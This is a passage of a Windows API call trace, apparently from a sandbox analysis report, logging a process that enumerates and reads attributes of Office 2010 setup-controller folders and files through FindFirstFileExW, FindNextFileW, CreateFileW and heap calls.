ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher.en-us", cAlternateFileName="")) returned 1 [0052.517] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cba0700, ftCreationTime.dwHighDateTime=0x1cb7664, ftLastAccessTime.dwLowDateTime=0xd78c2600, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8cba0700, ftLastWriteTime.dwHighDateTime=0x1cb7664, nFileSizeHigh=0x0, nFileSizeLow=0x150378, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0052.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.517] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.517] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.517] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.517] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio.en-us", cAlternateFileName="")) returned 1 [0052.517] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIOR", cAlternateFileName="")) returned 1 [0052.517] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word.en-us", cAlternateFileName="")) returned 1 [0052.517] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word.en-us", cAlternateFileName="")) returned 0 [0052.517] GetLastError () returned 0x12 [0052.518] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0052.518] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0052.518] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.518] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="")) returned 1 [0052.518] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97500 [0052.518] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0052.526] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0052.526] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0052.526] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf9dfa8 [0052.526] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf9dfa8, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0xf9dfa8, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0052.526] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dfa8) returned 1 [0052.526] NtClose (Handle=0x18c) returned 0x0 [0052.526] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97500) returned 1 [0052.526] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.526] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0052.526] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97500 [0052.526] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.526] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97608 [0052.526] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1e0 [0052.536] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.536] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa5fe940, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x15419830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.XML", cAlternateFileName="")) returned 1 [0052.536] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.536] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.536] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.536] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.536] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.536] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97710 [0052.536] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0052.536] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95c00 [0052.536] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97818 [0052.536] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.536] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.XML", cAlternateFileName="")) returned 1 [0052.536] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.536] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.536] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.536] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.536] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.536] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95c20 [0052.536] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97920 [0052.536] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.537] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0052.537] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.537] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.537] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.537] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.537] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.537] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95c40 [0052.537] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97a28 [0052.537] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.537] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0052.537] GetLastError () returned 0x12 [0052.537] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1a0 [0052.537] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0052.537] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.537] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa5fe940, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x15419830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.XML", cAlternateFileName="")) returned 1 [0052.537] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.XML", cAlternateFileName="")) returned 1 [0052.537] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0052.537] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0052.537] GetLastError () returned 0x12 [0052.537] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97608) returned 1 [0052.537] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0052.538] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97710) returned 1 [0052.538] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97500) returned 1 [0052.538] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel.en-us", cAlternateFileName="")) returned 1 [0052.538] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97500 [0052.538] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0052.551] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0052.551] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0052.551] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf9dfa8 [0052.551] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf9dfa8, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0xf9dfa8, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0052.551] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dfa8) returned 1 [0052.551] NtClose (Handle=0x188) returned 0x0 [0052.551] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97500) returned 1 [0052.551] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.551] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0052.551] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97500 [0052.551] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.551] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97710 [0052.552] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1a0 [0052.552] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.552] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.XML", cAlternateFileName="")) returned 1 [0052.552] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.552] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.552] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.552] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.552] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.552] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97608 [0052.552] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0052.552] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95c60 [0052.552] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97b30 [0052.552] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.552] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0052.552] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.552] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.552] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.552] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.552] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.552] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95c80 [0052.552] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97c38 [0052.552] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.552] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0052.552] GetLastError () returned 0x12 [0052.552] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1e0 [0052.552] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0052.552] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.553] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.XML", cAlternateFileName="")) returned 1 [0052.553] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0052.553] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, 